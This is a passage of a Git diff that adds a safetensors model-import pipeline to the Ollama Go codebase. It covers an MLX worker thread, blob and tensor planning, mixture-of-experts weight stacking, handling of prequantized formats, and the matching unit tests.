and +// returned as an error so a kernel failure cannot kill the pinned thread. +// +// TODO(pdevine): This method should be revisited when the `ollama create` is +// instead run on the ollama server process instead of the client. +func runOnMLXThread(f func() error) error { + mlxThreadOnce.Do(func() { + mlxWork = make(chan func()) + ready := make(chan error) + go func() { + runtime.LockOSThread() // pinned for the process lifetime; never unlocked + err := mlx.CheckInit() + if err == nil && mlx.GPUIsAvailable() { + mlx.SetDefaultDeviceGPU() + } + ready <- err + if err != nil { + return + } + for work := range mlxWork { + work() + } + }() + mlxInitErr = <-ready + mlxThreadStarted.Store(mlxInitErr == nil) + }) + if mlxInitErr != nil { + return fmt.Errorf("MLX init failed: %w", mlxInitErr) + } + + done := make(chan error, 1) + mlxWork <- func() { + defer func() { + if r := recover(); r != nil { + done <- fmt.Errorf("mlx: %v", r) + } + }() + done <- f() + } + return <-done +} + +// sweepMLX releases the MLX buffer cache. It is a no-op if no MLX work has run. +func sweepMLX() { + if !mlxThreadStarted.Load() { + return + } + _ = runOnMLXThread(func() error { + mlx.ClearCache() + mlx.Sweep() + return nil + }) +} diff --git a/x/create/pipeline.go b/x/create/pipeline.go new file mode 100644 index 000000000..6794382ad --- /dev/null +++ b/x/create/pipeline.go @@ -0,0 +1,121 @@ +package create + +import ( + "fmt" + "io" + "os" + "path/filepath" + "strings" +) + +// Create imports a safetensors model through the full pipeline: read the +// source into an inventory, classify it, plan the output blobs, write them +// through store, import the config files, and write the manifest. It is the +// server-side entry point — the caller supplies blob storage (store) and +// manifest assembly (writeManifest). +func Create(modelName, modelDir, quantize string, store BlobStore, writeManifest ManifestWriter, fn func(status string)) error { + defer sweepMLX() + + inv, err := ReadInventory(modelDir) + if err != nil { + return fmt.Errorf("read model: %w", err) + } + class, err := Classify(inv, quantize) + if err != nil { + return err + } + policy, err := newTensorImportTransform(inv) + if err != nil { + return fmt.Errorf("build quantization policy for %q: %w", inv.Config.Architecture(), err) + } + specs, err := Plan(inv, class, policy) + if err != nil { + return fmt.Errorf("plan model: %w", err) + } + + fn(fmt.Sprintf("importing %s (%d tensors%s)", modelName, len(inv.Tensors), quantizeStatus(class))) + layers, err := WriteBlobs(specs, modelDir, store) + if err != nil { + return err + } + + // Import config files (config.json, tokenizer, etc.) as JSON blobs. + configLayers, configLayer, err := importConfigBlobs(modelDir, "", store, fn) + if err != nil { + return err + } + layers = append(layers, configLayers...) + if configLayer.Digest == "" { + return fmt.Errorf("config.json not found in %s", modelDir) + } + + fn(fmt.Sprintf("writing manifest for %s", modelName)) + if err := writeManifest(modelName, configLayer, layers); err != nil { + return fmt.Errorf("write manifest: %w", err) + } + fn(fmt.Sprintf("successfully imported %s with %d layers", modelName, len(layers))) + return nil +} + +const mediaTypeImageJSON = "application/vnd.ollama.image.json" + +// importConfigBlobs writes every .json in modelDir (except the shard index) as an +// image.json blob, prefixing each blob name with namePrefix, and returns the +// resulting layers along with the config.json layer (zero value if absent). The +// target import passes "" for namePrefix; a draft import passes "draft/" so its +// config sits beside the target's. +func importConfigBlobs(modelDir, namePrefix string, store BlobStore, fn func(status string)) ([]LayerInfo, LayerInfo, error) { + entries, err := os.ReadDir(modelDir) + if err != nil { + return nil, LayerInfo{}, err + } + var layers []LayerInfo + var configLayer LayerInfo + for _, entry := range entries { + if entry.IsDir() || !strings.HasSuffix(entry.Name(), ".json") || entry.Name() == "model.safetensors.index.json" { + continue + } + name := entry.Name() + fn(fmt.Sprintf("importing config %s", name)) + f, err := os.Open(filepath.Join(modelDir, name)) + if err != nil { + return nil, LayerInfo{}, fmt.Errorf("open %s: %w", name, err) + } + layer, err := store.WriteBlob(f, mediaTypeImageJSON, namePrefix+name) + f.Close() + if err != nil { + return nil, LayerInfo{}, fmt.Errorf("write config %s: %w", name, err) + } + if name == "config.json" { + configLayer = layer + } + layers = append(layers, layer) + } + return layers, configLayer, nil +} + +func quantizeStatus(c Classification) string { + switch c.Kind { + case SourceBlockFP8: + return ", converting fp8 to mxfp8" + case SourcePrequantized: + return ", preserving source quantization" + default: + if c.Quantize != "" { + return ", quantizing to " + c.Quantize + } + return "" + } +} + +// StoreFromLayerCreator adapts a LayerCreator-style function to a BlobStore, so +// a caller that already has a blob-writing callback can drive the pipeline. +func StoreFromLayerCreator(fn LayerCreator) BlobStore { + return layerCreatorStore{fn} +} + +type layerCreatorStore struct{ fn LayerCreator } + +func (s layerCreatorStore) WriteBlob(r io.Reader, mediaType, name string) (LayerInfo, error) { + return s.fn(r, mediaType, name) +} diff --git a/x/create/pipeline_test.go b/x/create/pipeline_test.go new file mode 100644 index 000000000..ba0122d68 --- /dev/null +++ b/x/create/pipeline_test.go @@ -0,0 +1,45 @@ +package create + +import ( + "path/filepath" + "testing" + + st "github.com/ollama/ollama/x/safetensors" +) + +func TestCreatePipeline(t *testing.T) { + dir := t.TempDir() + writeConfigJSON(t, dir, `{"architectures":["TestModel"]}`) + createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ + st.NewTensorDataFromBytes("model.embed_tokens.weight", "BF16", []int32{8, 8}, make([]byte, 8*8*2)), + st.NewTensorDataFromBytes("model.norm.weight", "BF16", []int32{8}, make([]byte, 8*2)), + }) + + store := newCaptureStore() + var gotName string + var gotConfig LayerInfo + var gotLayers []LayerInfo + writeManifest := func(name string, config LayerInfo, layers []LayerInfo) error { + gotName, gotConfig, gotLayers = name, config, layers + return nil + } + + if err := Create("mymodel", dir, "", store, writeManifest, func(string) {}); err != nil { + t.Fatalf("Create() error = %v", err) + } + + if gotName != "mymodel" { + t.Errorf("manifest name = %q, want mymodel", gotName) + } + if gotConfig.Name != "config.json" { + t.Errorf("config layer = %q, want config.json", gotConfig.Name) + } + if len(gotLayers) != 3 { + t.Fatalf("manifest layers = %d, want 3 (2 tensors + config.json)", len(gotLayers)) + } + for _, n := range []string{"model.embed_tokens.weight", "model.norm.weight", "config.json"} { + if _, ok := store.blobs[n]; !ok { + t.Errorf("missing written blob %q (have %v)", n, store.names()) + } + } +} diff --git a/x/create/plan.go b/x/create/plan.go new file mode 100644 index 000000000..d61dcb394 --- /dev/null +++ b/x/create/plan.go @@ -0,0 +1,282 @@ +package create + +import ( + "fmt" + "slices" + "sort" + "strconv" + "strings" +) + +// Transform names how a tensor's source(s) are turned into the output tensor. +// The zero value, TransformNone, copies a single source through unchanged. +type Transform string + +const ( + TransformNone Transform = "" + + // TransformRepackFP4 reinterprets a U8 fp4-packed weight (2 values/byte) + // as U32 words (8 values/word): the bytes are unchanged, only the dtype + // and last dimension are relabeled. + TransformRepackFP4 Transform = "repack_fp4" + + // TransformRelabelU8 relabels an F8_E4M3 scale as U8 so the loader reads + // its raw bytes; the bytes themselves are unchanged. + TransformRelabelU8 Transform = "relabel_u8" + + // TransformScalarF32 validates that the source is a scalar F32 and copies + // it through (a global scale stored as-is). + TransformScalarF32 Transform = "scalar_f32" + + // TransformReciprocalF32 validates a scalar F32 and stores its reciprocal + // (a global scale the producer stored inverted). + TransformReciprocalF32 Transform = "reciprocal_f32" + + // TransformStackExperts concatenates N per-expert source tensors (in + // expert-index order) into one [experts, ...] tensor. + TransformStackExperts Transform = "stack_experts" + + // TransformDecodeFP8 dequantizes a block-FP8 weight using its block scale. + // Its two sources are the F8_E4M3 weight and its scale companion; the + // result is a BF16 tensor, which Quantize (if set) then re-quantizes. + TransformDecodeFP8 Transform = "decode_fp8" + + // TransformDecodeStackFP8 stacks N per-expert block-FP8 weights (and their N + // block scales) into one [experts, out, in] tensor and dequantizes it. Its + // sources are the N weights followed by the N scales, in expert-index order; + // the result is a BF16 tensor, which Quantize (if set) then re-quantizes. + TransformDecodeStackFP8 Transform = "decode_stack_fp8" +) + +// TensorSpec describes one output tensor within a blob: the source tensor(s) +// it is built from, the transform that combines or converts them, the name it +// takes in the blob, and an optional quantization to apply. When Quantize is +// set the writer runs MLX quantization, which generates the tensor's scale and +// bias sub-tensors; otherwise the (transformed) bytes are stored as-is. +type TensorSpec struct { + Name string + Sources []SourceTensor + Transform Transform + Quantize string + OutDtype string // dtype after the transform; "" means same as the single source + OutShape []int32 // shape after the transform; nil means same as the single source +} + +// BlobSpec describes one output blob: its layer name, the tensors it contains, +// and its safetensors metadata. The planner builds these purely from the +// inventory and classification; the writer executes them and makes no +// decisions of its own. +type BlobSpec struct { + Name string + Tensors []TensorSpec + Metadata map[string]string +} + +// quantizePolicy decides the quantization type for each tensor of a model, +// returning "" to keep it at source precision. A policy may return a higher- +// precision type than requested for sensitive tensors. The per-architecture +// import transforms implement it; defaultQuantPolicy provides the generic +// default (GetTensorQuantization). +type quantizePolicy interface { + quantizationType(name string, shape []int32, requested string) string +} + +// Plan turns an inventory and its classification into the ordered list of +// blobs to write. It reads no weight data and makes every decision here, so +// the writer that follows has nothing left to decide. The policy decides which +// weights are quantized and to what; pass defaultQuantPolicy{} for the generic +// policy. +func Plan(inv Inventory, class Classification, policy quantizePolicy) ([]BlobSpec, error) { + var ( + specs []BlobSpec + err error + ) + switch class.Kind { + case SourceFloat: + specs, err = planFloat(inv, class.Quantize, policy) + case SourcePrequantized: + specs, err = planPrequantized(inv) + case SourceBlockFP8: + specs, err = planBlockFP8(inv, class.Quantize, policy) + default: + return nil, fmt.Errorf("plan: source kind %q is not yet supported", class.Kind) + } + if err != nil { + return nil, err + } + if err := checkOutputCollisions(specs); err != nil { + return nil, err + } + return specs, nil +} + +// checkOutputCollisions rejects a plan in which two source tensors normalized +// to the same output name — for example a source shipping both foo.weight and +// foo.weight_packed, which would both fuse to foo.weight. Writing such a plan +// would produce blobs that silently shadow each other at load time. +func checkOutputCollisions(specs []BlobSpec) error { + blobs := make(map[string]bool, len(specs)) + tensors := make(map[string]string) + for _, spec := range specs { + if blobs[spec.Name] { + return fmt.Errorf("plan: two blobs named %s (source tensors normalize to a clashing name)", spec.Name) + } + blobs[spec.Name] = true + for _, ts := range spec.Tensors { + if prev, ok := tensors[ts.Name]; ok { + return fmt.Errorf("plan: output tensor %s planned in both blob %s and blob %s (source tensors normalize to a clashing name)", ts.Name, prev, spec.Name) + } + tensors[ts.Name] = spec.Name + } + } + return nil +} + +// planFloat plans a float model: per-expert tensors are packed into one blob +// per layer's expert group; every other tensor becomes its own blob, with the +// quantization policy deciding which weights are quantized and to what. +func planFloat(inv Inventory, quantize string, policy quantizePolicy) ([]BlobSpec, error) { + groups := make(map[string][]SourceTensor) + var plain []string + for _, name := range sortedTensorNames(inv) { + if gp, ok := perExpertGroup(name); ok { + groups[gp] = append(groups[gp], inv.Tensors[name]) + } else { + plain = append(plain, name) + } + } + + specs := make([]BlobSpec, 0, len(plain)+len(groups)) + for _, name := range plain { + t := inv.Tensors[name] + q := "" + if quantize != "" { + q = policy.quantizationType(name, t.Shape, quantize) + } + specs = append(specs, BlobSpec{ + Name: name, + Tensors: []TensorSpec{{Name: name, Sources: []SourceTensor{t}, Quantize: q}}, + }) + } + + for _, gp := range sortedKeys(groups) { + spec, err := planExpertGroup(gp, groups[gp], quantize, policy) + if err != nil { + return nil, err + } + specs = append(specs, spec) + } + return specs, nil +} + +// planExpertGroup packs a layer's per-expert weights into one blob: the experts +// of each projection are stacked into a single [experts, out, in] tensor and +// quantized per the policy. Output tensor names keep the source's ".experts." +// path; only the per-expert index is dropped. +func planExpertGroup(groupPrefix string, tensors []SourceTensor, quantize string, policy quantizePolicy) (BlobSpec, error) { + type expert struct { + idx int + t SourceTensor + } + byProj := make(map[string][]expert) + for _, t := range tensors { + idx, proj, err := parseExpertTensor(groupPrefix, t.Name) + if err != nil { + return BlobSpec{}, err + } + byProj[proj] = append(byProj[proj], expert{idx: idx, t: t}) + } + + spec := BlobSpec{Name: groupPrefix} + for _, proj := range sortedKeys(byProj) { + experts := byProj[proj] + sort.Slice(experts, func(i, j int) bool { return experts[i].idx < experts[j].idx }) + + base := experts[0].t + sources := make([]SourceTensor, len(experts)) + for i, e := range experts { + if e.t.Dtype != base.Dtype || !slices.Equal(e.t.Shape, base.Shape) { + return BlobSpec{}, fmt.Errorf("expert group %s projection %s has mismatched expert layout (%s %v vs %s %v)", + groupPrefix, proj, base.Dtype, base.Shape, e.t.Dtype, e.t.Shape) + } + sources[i] = e.t + } + + stackedName := groupPrefix + "." + proj + ".weight" + stackedShape := append([]int32{int32(len(experts))}, base.Shape...) + q := "" + if quantize != "" { + q = policy.quantizationType(stackedName, stackedShape, quantize) + } + spec.Tensors = append(spec.Tensors, TensorSpec{ + Name: stackedName, + Sources: sources, + Transform: TransformStackExperts, + Quantize: q, + OutDtype: base.Dtype, + OutShape: stackedShape, + }) + } + return spec, nil +} + +// parseExpertTensor splits a per-expert weight name of the form +// "...weight" into its expert index and +// projection name. +func parseExpertTensor(groupPrefix, name string) (idx int, proj string, err error) { + rest, ok := strings.CutPrefix(name, groupPrefix+".") + if !ok { + return 0, "", fmt.Errorf("expert tensor %q is not under group %q", name, groupPrefix) + } + rest, ok = strings.CutSuffix(rest, ".weight") + if !ok { + return 0, "", fmt.Errorf("expert tensor %q does not end in .weight", name) + } + idxStr, proj, ok := strings.Cut(rest, ".") + if !ok { + return 0, "", fmt.Errorf("expert tensor %q is not ..weight", name) + } + idx, err = strconv.Atoi(idxStr) + if err != nil { + return 0, "", fmt.Errorf("expert tensor %q has a non-numeric expert index %q", name, idxStr) + } + return idx, proj, nil +} + +// perExpertGroup reports whether name is a per-expert weight that must be +// stacked — e.g. ".mlp.experts.3.gate_proj.weight" — and returns its +// group prefix. An already-stacked expert tensor (one tensor covering all +// experts, e.g. ".mlp.experts.gate_up_proj.weight" as qwen3.5 and +// gemma4 ship it) is not per-expert: it is quantized as an ordinary 3D tensor +// and the runtime splits/uses it directly. +func perExpertGroup(name string) (string, bool) { + gp := ExpertGroupPrefix(name) + if gp == "" { + return "", false + } + rest, ok := strings.CutPrefix(name, gp+".") + if !ok { + return "", false + } + idx, _, ok := strings.Cut(rest, ".") + if !ok { + return "", false + } + if _, err := strconv.Atoi(idx); err != nil { + return "", false + } + return gp, true +} + +func sortedTensorNames(inv Inventory) []string { + return sortedKeys(inv.Tensors) +} + +func sortedKeys[V any](m map[string]V) []string { + keys := make([]string, 0, len(m)) + for k := range m { + keys = append(keys, k) + } + sort.Strings(keys) + return keys +} diff --git a/x/create/plan_test.go b/x/create/plan_test.go new file mode 100644 index 000000000..ccc2cab2d --- /dev/null +++ b/x/create/plan_test.go @@ -0,0 +1,208 @@ +package create + +import ( + "slices" + "sort" + "strings" + "testing" +) + +func TestPlanRejectsOutputNameCollision(t *testing.T) { + // A source shipping both an MLX-pattern weight (foo.weight + foo.scales) + // and a compressed-tensors weight (foo.weight_packed + foo.weight_scale) + // fuses both to the output name foo.weight. + inv := newInventory(sourceModelConfig{}, map[string]string{ + "model.a.weight": "U32", + "model.a.scales": "BF16", + "model.a.weight_packed": "U8", + "model.a.weight_scale": "F8_E4M3", + }) + _, err := Plan(inv, Classification{Kind: SourcePrequantized}, defaultQuantPolicy{}) + if err == nil || !strings.Contains(err.Error(), "clashing name") { + t.Fatalf("Plan() error = %v, want a clashing-name error", err) + } +} + +func TestPlanFloat(t *testing.T) { + inv := newInventory(sourceModelConfig{}, map[string]string{ + "model.embed_tokens.weight": "BF16", + "model.layers.0.input_layernorm.weight": "BF16", + "model.layers.0.self_attn.q_proj.weight": "BF16", + "model.layers.0.self_attn.v_proj.weight": "BF16", + "model.layers.0.mlp.down_proj.weight": "BF16", + }) + + t.Run("no quantize", func(t *testing.T) { + specs, err := Plan(inv, Classification{Kind: SourceFloat}, defaultQuantPolicy{}) + if err != nil { + t.Fatalf("Plan() error = %v", err) + } + if len(specs) != len(inv.Tensors) { + t.Fatalf("got %d specs, want %d", len(specs), len(inv.Tensors)) + } + if !sort.SliceIsSorted(specs, func(i, j int) bool { return specs[i].Name < specs[j].Name }) { + t.Error("specs are not sorted by name") + } + for _, s := range specs { + if len(s.Tensors) != 1 || s.Tensors[0].Name != s.Name || sourceName(s.Tensors[0]) != s.Name { + t.Errorf("%s: unexpected tensors %+v", s.Name, s.Tensors) + } + if s.Tensors[0].Quantize != "" { + t.Errorf("%s: quantize = %q, want empty when no --quantize", s.Name, s.Tensors[0].Quantize) + } + } + }) + + t.Run("4-bit fp promotes sensitive tensors to mxfp8", func(t *testing.T) { + for _, quant := range []string{"nvfp4", "mxfp4"} { + specs, err := Plan(inv, Classification{Kind: SourceFloat, Quantize: quant}, defaultQuantPolicy{}) + if err != nil { + t.Fatalf("Plan(%s) error = %v", quant, err) + } + got := make(map[string]string) + for _, s := range specs { + got[s.Name] = s.Tensors[0].Quantize + } + want := map[string]string{ + "model.embed_tokens.weight": "", + "model.layers.0.input_layernorm.weight": "", + "model.layers.0.self_attn.q_proj.weight": quant, + "model.layers.0.self_attn.v_proj.weight": "mxfp8", + "model.layers.0.mlp.down_proj.weight": "mxfp8", + } + for name, w := range want { + if got[name] != w { + t.Errorf("%s: %s quantize = %q, want %q", quant, name, got[name], w) + } + } + } + }) + + t.Run("int4 applies the mixed-precision policy", func(t *testing.T) { + specs, err := Plan(inv, Classification{Kind: SourceFloat, Quantize: "int4"}, defaultQuantPolicy{}) + if err != nil { + t.Fatalf("Plan() error = %v", err) + } + got := make(map[string]string) + for _, s := range specs { + got[s.Name] = s.Tensors[0].Quantize + } + want := map[string]string{ + "model.embed_tokens.weight": "", // embeddings stay full precision + "model.layers.0.input_layernorm.weight": "", // norms stay full precision + "model.layers.0.self_attn.q_proj.weight": "int4", // standard linear + "model.layers.0.self_attn.v_proj.weight": "int8", // promoted for quality + "model.layers.0.mlp.down_proj.weight": "int8", // promoted for quality + } + for name, w := range want { + if got[name] != w { + t.Errorf("%s: quantize = %q, want %q", name, got[name], w) + } + } + }) +} + +func TestPlanFloatExpertGroup(t *testing.T) { + // A float MoE layer that ships per-expert tensors: two experts, two + // projections. Each projection is stacked into one [experts, out, in] + // tensor in a single packed blob; the routing gate and norm stay plain. + inv := newInventory(sourceModelConfig{}, map[string]string{ + "model.layers.0.mlp.experts.0.gate_proj.weight": "BF16", + "model.layers.0.mlp.experts.1.gate_proj.weight": "BF16", + "model.layers.0.mlp.experts.0.down_proj.weight": "BF16", + "model.layers.0.mlp.experts.1.down_proj.weight": "BF16", + "model.layers.0.mlp.gate.weight": "BF16", + "model.layers.0.input_layernorm.weight": "BF16", + }) + + specs, err := Plan(inv, Classification{Kind: SourceFloat, Quantize: "int4"}, defaultQuantPolicy{}) + if err != nil { + t.Fatalf("Plan() error = %v", err) + } + + group, ok := specByName(specs, "model.layers.0.mlp.experts") + if !ok { + t.Fatalf("missing packed expert blob; got %v", specNames(specs)) + } + if len(group.Tensors) != 2 { + t.Fatalf("packed blob has %d tensors, want 2 (gate_proj, down_proj)", len(group.Tensors)) + } + + gate, ok := inputByOutput(group, "model.layers.0.mlp.experts.gate_proj.weight") + if !ok { + t.Fatal("packed blob missing stacked gate_proj") + } + if gate.Transform != TransformStackExperts || len(gate.Sources) != 2 { + t.Errorf("gate_proj = %+v, want stack of 2 experts", gate) + } + if !slices.Equal(gate.OutShape, []int32{2, 128, 128}) { + t.Errorf("gate_proj stacked shape = %v, want [2 128 128]", gate.OutShape) + } + if gate.Sources[0].Name != "model.layers.0.mlp.experts.0.gate_proj.weight" || + gate.Sources[1].Name != "model.layers.0.mlp.experts.1.gate_proj.weight" { + t.Errorf("gate_proj sources out of order: %v", gate.Sources) + } + if gate.Quantize != "int4" { + t.Errorf("gate_proj quantize = %q, want int4", gate.Quantize) + } + + down, _ := inputByOutput(group, "model.layers.0.mlp.experts.down_proj.weight") + if down.Quantize != "int8" { + t.Errorf("down_proj quantize = %q, want int8 (promoted)", down.Quantize) + } + + // Routing gate and norm are not expert tensors; they stay as their own blobs. + for _, name := range []string{"model.layers.0.mlp.gate.weight", "model.layers.0.input_layernorm.weight"} { + if _, ok := specByName(specs, name); !ok { + t.Errorf("%s should be its own blob", name) + } + } +} + +func TestPlanFloatPrestackedExperts(t *testing.T) { + // qwen3.5 / gemma4 ship experts pre-stacked and fused: one tensor per + // projection covering all experts. These are quantized as ordinary 3D + // stacked tensors (each its own blob, no per-expert stacking); the runtime + // splits the fused gate_up at load. Names are kept exactly. + inv := Inventory{Dir: "test", Tensors: map[string]SourceTensor{ + "model.layers.0.mlp.experts.gate_up_proj.weight": {Name: "model.layers.0.mlp.experts.gate_up_proj.weight", Dtype: "BF16", Shape: []int32{8, 256, 128}}, + "model.layers.0.mlp.experts.down_proj.weight": {Name: "model.layers.0.mlp.experts.down_proj.weight", Dtype: "BF16", Shape: []int32{8, 128, 128}}, + "model.layers.0.mlp.gate.weight": {Name: "model.layers.0.mlp.gate.weight", Dtype: "BF16", Shape: []int32{8, 128}}, + }} + + specs, err := Plan(inv, Classification{Kind: SourceFloat, Quantize: "int4"}, defaultQuantPolicy{}) + if err != nil { + t.Fatalf("Plan() error = %v", err) + } + + // Each tensor is its own blob; nothing is grouped/stacked. + gateUp, ok := specByName(specs, "model.layers.0.mlp.experts.gate_up_proj.weight") + if !ok { + t.Fatalf("fused gate_up should be its own blob; got %v", specNames(specs)) + } + if len(gateUp.Tensors) != 1 || gateUp.Tensors[0].Transform != TransformNone || len(gateUp.Tensors[0].Sources) != 1 { + t.Errorf("gate_up should pass through unstacked: %+v", gateUp.Tensors) + } + if gateUp.Tensors[0].Quantize != "int4" { + t.Errorf("gate_up quantize = %q, want int4", gateUp.Tensors[0].Quantize) + } + down, _ := specByName(specs, "model.layers.0.mlp.experts.down_proj.weight") + if down.Tensors[0].Quantize != "int8" { + t.Errorf("down_proj quantize = %q, want int8 (promoted)", down.Tensors[0].Quantize) + } + // No packed group blob should have been produced. + if _, ok := specByName(specs, "model.layers.0.mlp.experts"); ok { + t.Error("pre-stacked experts must not be re-grouped into a packed blob") + } +} + +func TestPlanExpertGroupMismatchedLayout(t *testing.T) { + // Experts in the same projection with different shapes cannot be stacked. + inv := Inventory{Dir: "test", Tensors: map[string]SourceTensor{ + "model.layers.0.mlp.experts.0.gate_proj.weight": {Name: "model.layers.0.mlp.experts.0.gate_proj.weight", Dtype: "BF16", Shape: []int32{128, 128}}, + "model.layers.0.mlp.experts.1.gate_proj.weight": {Name: "model.layers.0.mlp.experts.1.gate_proj.weight", Dtype: "BF16", Shape: []int32{128, 64}}, + }} + if _, err := Plan(inv, Classification{Kind: SourceFloat, Quantize: "int4"}, defaultQuantPolicy{}); err == nil { + t.Fatal("Plan() error = nil, want mismatched expert layout error") + } +} diff --git a/x/create/prequant.go b/x/create/prequant.go new file mode 100644 index 000000000..ec782c081 --- /dev/null +++ b/x/create/prequant.go @@ -0,0 +1,190 @@ +package create + +import "strings" + +// prequantPattern describes how one producer packs an already-quantized weight +// and its scale companions into safetensors files, and how to fuse them into +// the single blob our loader reads. Producers differ only in tensor names and a +// few per-field transforms; expressing them as table rows keeps those +// differences visible and prevents the per-producer drift the old separate code +// paths suffered (for example the global scale being stored as-is by one +// producer and inverted by another). +// +// All suffixes are relative to the base — the source weight name minus its +// weight suffix. The fused blob is always named ".weight", with +// companions ".weight.scale", ".bias", and ".global_scale". +type prequantPattern struct { + name string + + weightSuffix string // source suffix identifying the weight (".weight" or ".weight_packed") + repackWeight bool // repack a U8 fp4 weight into U32 words + + scaleSuffix string // required per-block / affine scale companion + scaleRelabelU8 bool // relabel an F8_E4M3 scale as U8 for the loader + + biasSuffix string // optional bias / zero-point companion ("" if none) + + globalSuffix string // optional global-scale companion ("" if none) + globalReciprocal bool // store the global scale as its reciprocal + + ignoreSuffixes []string // companions consumed but not written (e.g. activation scales) + + forceQuantType string // override the blob's quant_type metadata + defaultGroupSize string // set group_size metadata only when the config did not +} + +// prequantPatterns is consulted in order; the first whose weight suffix matches +// and whose required scale companion is present wins. MLX and ModelOpt both use +// a ".weight" weight, but their scale companions (".scales" vs ".weight_scale") +// are mutually exclusive, so the order between them does not matter. +var prequantPatterns = []prequantPattern{ + { + name: "mlx", + weightSuffix: ".weight", + scaleSuffix: ".scales", + biasSuffix: ".biases", + }, + { + name: "compressed-tensors-nvfp4", + weightSuffix: ".weight_packed", + repackWeight: true, + scaleSuffix: ".weight_scale", + scaleRelabelU8: true, + globalSuffix: ".weight_global_scale", + globalReciprocal: true, + ignoreSuffixes: []string{".input_scale", ".input_global_scale"}, + forceQuantType: "nvfp4", + defaultGroupSize: "16", + }, + { + name: "modelopt-nvfp4", + weightSuffix: ".weight", + repackWeight: true, + scaleSuffix: ".weight_scale", + scaleRelabelU8: true, + globalSuffix: ".weight_scale_2", + ignoreSuffixes: []string{".input_scale", ".input_global_scale"}, + forceQuantType: "nvfp4", + }, +} + +// planPrequantized plans an already-quantized source: each weight is fused with +// its scale companions into one blob, companions are not emitted on their own, +// and any remaining tensors (norms, embeddings) pass through at source +// precision. +func planPrequantized(inv Inventory) ([]BlobSpec, error) { + fused := make(map[string]BlobSpec) + consumed := make(map[string]bool) + for _, name := range sortedTensorNames(inv) { + spec, sources, ok := matchPrequant(name, inv) + if !ok { + continue + } + fused[name] = spec + for _, s := range sources { + consumed[s] = true + } + } + + specs := make([]BlobSpec, 0, len(inv.Tensors)) + for _, name := range sortedTensorNames(inv) { + if spec, ok := fused[name]; ok { + specs = append(specs, spec) + continue + } + if consumed[name] { + continue + } + t := inv.Tensors[name] + specs = append(specs, BlobSpec{Name: name, Tensors: []TensorSpec{{Name: name, Sources: []SourceTensor{t}}}}) + } + return specs, nil +} + +// matchPrequant returns the fused blob for a weight tensor if it matches a +// prequantized producer, along with the source names it consumes. It returns +// ok=false when name is not a prequantized weight (a companion or a plain +// tensor). +func matchPrequant(name string, inv Inventory) (BlobSpec, []string, bool) { + for _, p := range prequantPatterns { + base, ok := strings.CutSuffix(name, p.weightSuffix) + if !ok { + continue + } + scaleSrc := base + p.scaleSuffix + if !inv.Has(scaleSrc) { + continue + } + + outWeight := base + ".weight" + weight := inv.Tensors[name] + var tensors []TensorSpec + var consumed []string + + weightTensor := TensorSpec{Name: outWeight, Sources: []SourceTensor{weight}} + if p.repackWeight && strings.EqualFold(weight.Dtype, "U8") && len(weight.Shape) == 2 { + weightTensor.Transform = TransformRepackFP4 + weightTensor.OutDtype = "U32" + weightTensor.OutShape = []int32{weight.Shape[0], weight.Shape[1] / 4} + } + tensors = append(tensors, weightTensor) + + scale := inv.Tensors[scaleSrc] + scaleTensor := TensorSpec{Name: outWeight + ".scale", Sources: []SourceTensor{scale}} + if p.scaleRelabelU8 && isE4M3Dtype(scale.Dtype) { + scaleTensor.Transform = TransformRelabelU8 + scaleTensor.OutDtype = "U8" + } + tensors = append(tensors, scaleTensor) + consumed = append(consumed, scaleSrc) + + if p.biasSuffix != "" { + if biasSrc := base + p.biasSuffix; inv.Has(biasSrc) { + tensors = append(tensors, TensorSpec{Name: outWeight + ".bias", Sources: []SourceTensor{inv.Tensors[biasSrc]}}) + consumed = append(consumed, biasSrc) + } + } + + if p.globalSuffix != "" { + if gSrc := base + p.globalSuffix; inv.Has(gSrc) { + global := TensorSpec{Name: outWeight + ".global_scale", Sources: []SourceTensor{inv.Tensors[gSrc]}, Transform: TransformScalarF32} + if p.globalReciprocal { + global.Transform = TransformReciprocalF32 + } + tensors = append(tensors, global) + consumed = append(consumed, gSrc) + } + } + + for _, suf := range p.ignoreSuffixes { + if s := base + suf; inv.Has(s) { + consumed = append(consumed, s) + } + } + + return BlobSpec{Name: outWeight, Tensors: tensors, Metadata: prequantMetadata(inv, p)}, consumed, true + } + return BlobSpec{}, nil, false +} + +// prequantMetadata builds the fused blob's metadata: the source config's quant +// metadata, with the pattern's quant_type override and group_size default +// applied. Returns nil when there is nothing to record. +func prequantMetadata(inv Inventory, p prequantPattern) map[string]string { + md := make(map[string]string) + for k, v := range inv.Config.QuantMetadata() { + md[k] = v + } + if p.forceQuantType != "" { + md["quant_type"] = p.forceQuantType + } + if p.defaultGroupSize != "" { + if _, ok := md["group_size"]; !ok { + md["group_size"] = p.defaultGroupSize + } + } + if len(md) == 0 { + return nil + } + return md +} diff --git a/x/create/prequant_test.go b/x/create/prequant_test.go new file mode 100644 index 000000000..15f352b41 --- /dev/null +++ b/x/create/prequant_test.go @@ -0,0 +1,183 @@ +package create + +import ( + "slices" + "testing" +) + +func specByName(specs []BlobSpec, name string) (BlobSpec, bool) { + for _, s := range specs { + if s.Name == name { + return s, true + } + } + return BlobSpec{}, false +} + +func inputByOutput(spec BlobSpec, outputName string) (TensorSpec, bool) { + for _, ts := range spec.Tensors { + if ts.Name == outputName { + return ts, true + } + } + return TensorSpec{}, false +} + +// sourceName returns the (single) source tensor name for a TensorSpec. +func sourceName(ts TensorSpec) string { + if len(ts.Sources) == 0 { + return "" + } + return ts.Sources[0].Name +} + +func specNames(specs []BlobSpec) []string { + names := make([]string, len(specs)) + for i, s := range specs { + names[i] = s.Name + } + return names +} + +func TestPlanPrequantizedMLX(t *testing.T) { + cfg := sourceModelConfig{Quantization: sourceQuantization{Bits: 4, Mode: "affine", GroupSize: 32}} + inv := newInventory(cfg, map[string]string{ + "l.weight": "U32", + "l.scales": "BF16", + "l.biases": "BF16", + "norm.weight": "BF16", + }) + + specs, err := Plan(inv, Classification{Kind: SourcePrequantized}, defaultQuantPolicy{}) + if err != nil { + t.Fatalf("Plan() error = %v", err) + } + // l.weight (fused with scales+biases) and norm.weight (pass-through). + if len(specs) != 2 { + t.Fatalf("got %d specs %v, want 2", len(specs), specNames(specs)) + } + + w, ok := specByName(specs, "l.weight") + if !ok { + t.Fatal("missing l.weight blob") + } + for _, want := range []string{"l.weight", "l.weight.scale", "l.weight.bias"} { + in, ok := inputByOutput(w, want) + if !ok { + t.Fatalf("l.weight blob missing input %q", want) + } + if in.Transform != TransformNone { + t.Errorf("%s transform = %q, want none", want, in.Transform) + } + } + if w.Metadata["quant_type"] != "int4" || 